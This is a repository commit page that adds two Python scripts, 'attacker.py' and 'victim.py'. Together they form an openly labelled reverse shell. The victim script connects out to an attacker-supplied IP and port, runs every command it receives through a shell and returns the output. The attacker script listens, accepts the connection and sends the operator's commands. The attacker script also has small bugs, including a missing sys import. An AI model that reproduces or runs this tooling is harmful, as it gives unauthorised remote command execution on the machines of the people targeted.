Skip to content

Commit 406ec4e

Browse files
authoredDec 4, 2019
Added Project Files
0 parents  commit 406ec4e

File tree

2 files changed

+61
-0
lines changed

2 files changed

+61
-0
lines changed
 

Diff for: ‎attacker.py

+32
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
import socket
2+
3+
4+
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
5+
print("Enter the port to listen on: ")
6+
port=int(input())
7+
s.bind(('', port))
8+
print("Listening on port "+str(port))
9+
10+
11+
12+
13+
print("Enter the Commands: ")
14+
15+
16+
17+
18+
while True:
19+
s.listen(5)
20+
clientsocket,address = s.accept()
21+
print("[+] Connection from "+str(address) +"has been established!")
22+
cmd = input()
23+
if cmd == 'quit':
24+
clientsocket.close()
25+
s.close()
26+
sys.exit()
27+
if len(str.encode(cmd)) > 0:
28+
clientsocket.send(str.encode(cmd))
29+
response = str(clientsocket.recv(1024), "utf-8")
30+
print(response, end="")
31+
32+
clientsocket.close()

Diff for: ‎victim.py

+29
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
import socket
2+
import subprocess
3+
import os
4+
print("Enter the IP Address of the attacker: ")
5+
attacker_ip=input()
6+
print("Enter the port on which you want to connect: ")
7+
attacker_port=int(input())
8+
9+
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
10+
11+
s.connect((attacker_ip,attacker_port))
12+
13+
14+
15+
while True:
16+
data = s.recv(1024)
17+
if data[:2] == 'cd':
18+
os.chdir(data[3:].decode("utf-8"))
19+
if len(data) > 0:
20+
cmd=subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE )
21+
output_bytes = cmd.stdout.read()
22+
output_str = str(output_bytes, "utf-8")
23+
s.send(str.encode(output_str + str(os.getcwd()) + '$'))
24+
else:
25+
continue
26+
27+
28+
29+
s.close()

0 commit comments

Comments
 (0)